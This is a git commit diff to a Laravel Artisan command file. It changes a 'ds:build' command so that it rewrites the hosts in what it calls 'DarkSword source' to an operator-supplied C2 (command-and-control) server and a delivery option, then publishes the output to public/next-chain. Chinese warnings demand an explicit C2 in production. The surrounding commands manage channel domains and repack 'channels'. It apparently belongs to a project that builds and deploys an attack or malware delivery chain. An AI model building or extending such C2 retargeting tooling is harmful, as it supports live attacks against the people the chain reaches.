feat: ds
This commit is contained in:
+12
-20
@@ -159,39 +159,31 @@ Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-
|
||||
return 0;
|
||||
})->purpose('Repack existing new-builder channels with latest weifile / details / plugins');
|
||||
|
||||
Artisan::command('ds:build {--host=} {--port=} {--origin=}', function () {
|
||||
Artisan::command('ds:build {--origin=} {--c2=} {--delivery=}', function () {
|
||||
$script = base_path('channel-builder-ds/tools/build.py');
|
||||
if (! is_file($script)) {
|
||||
$this->error('missing '.$script);
|
||||
|
||||
return 1;
|
||||
}
|
||||
$args = ['python3', $script];
|
||||
$host = trim((string) $this->option('host'));
|
||||
$port = trim((string) $this->option('port'));
|
||||
$origin = trim((string) $this->option('origin'));
|
||||
if ($origin === '' && $host === '') {
|
||||
$c2 = trim((string) $this->option('c2'));
|
||||
$origin = $c2 !== '' ? $c2 : trim((string) $this->option('origin'));
|
||||
$delivery = trim((string) $this->option('delivery'));
|
||||
if ($origin === '') {
|
||||
$origin = rtrim((string) config('app.url'), '/');
|
||||
$this->warn('未传 --origin,使用 APP_URL: '.$origin);
|
||||
$this->warn('线上必须显式指定 C2,例如: php artisan ds:build --origin https://你的域名');
|
||||
$this->warn('未传 --c2/--origin,使用 APP_URL: '.$origin);
|
||||
$this->warn('线上必须显式指定 C2,例如: php artisan ds:build --c2 https://c2.example.com');
|
||||
}
|
||||
if ($origin !== '') {
|
||||
$args[] = '--origin';
|
||||
$args[] = $origin;
|
||||
}
|
||||
if ($host !== '') {
|
||||
$args[] = '--host';
|
||||
$args[] = $host;
|
||||
}
|
||||
if ($port !== '') {
|
||||
$args[] = '--port';
|
||||
$args[] = $port;
|
||||
$args = ['python3', $script, '--c2', $origin];
|
||||
if ($delivery !== '') {
|
||||
$args[] = '--delivery';
|
||||
$args[] = $delivery;
|
||||
}
|
||||
$this->info(implode(' ', $args));
|
||||
passthru(implode(' ', array_map('escapeshellarg', $args)), $code);
|
||||
|
||||
return $code;
|
||||
})->purpose('Rewrite DarkSword source and publish public/next-chain');
|
||||
})->purpose('Rewrite one99 hosts to --c2 and publish source/ to public/next-chain');
|
||||
|
||||
Artisan::command('coruna:channel-domains {--json}', function () {
|
||||
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
|
||||
|
||||
Reference in New Issue
Block a user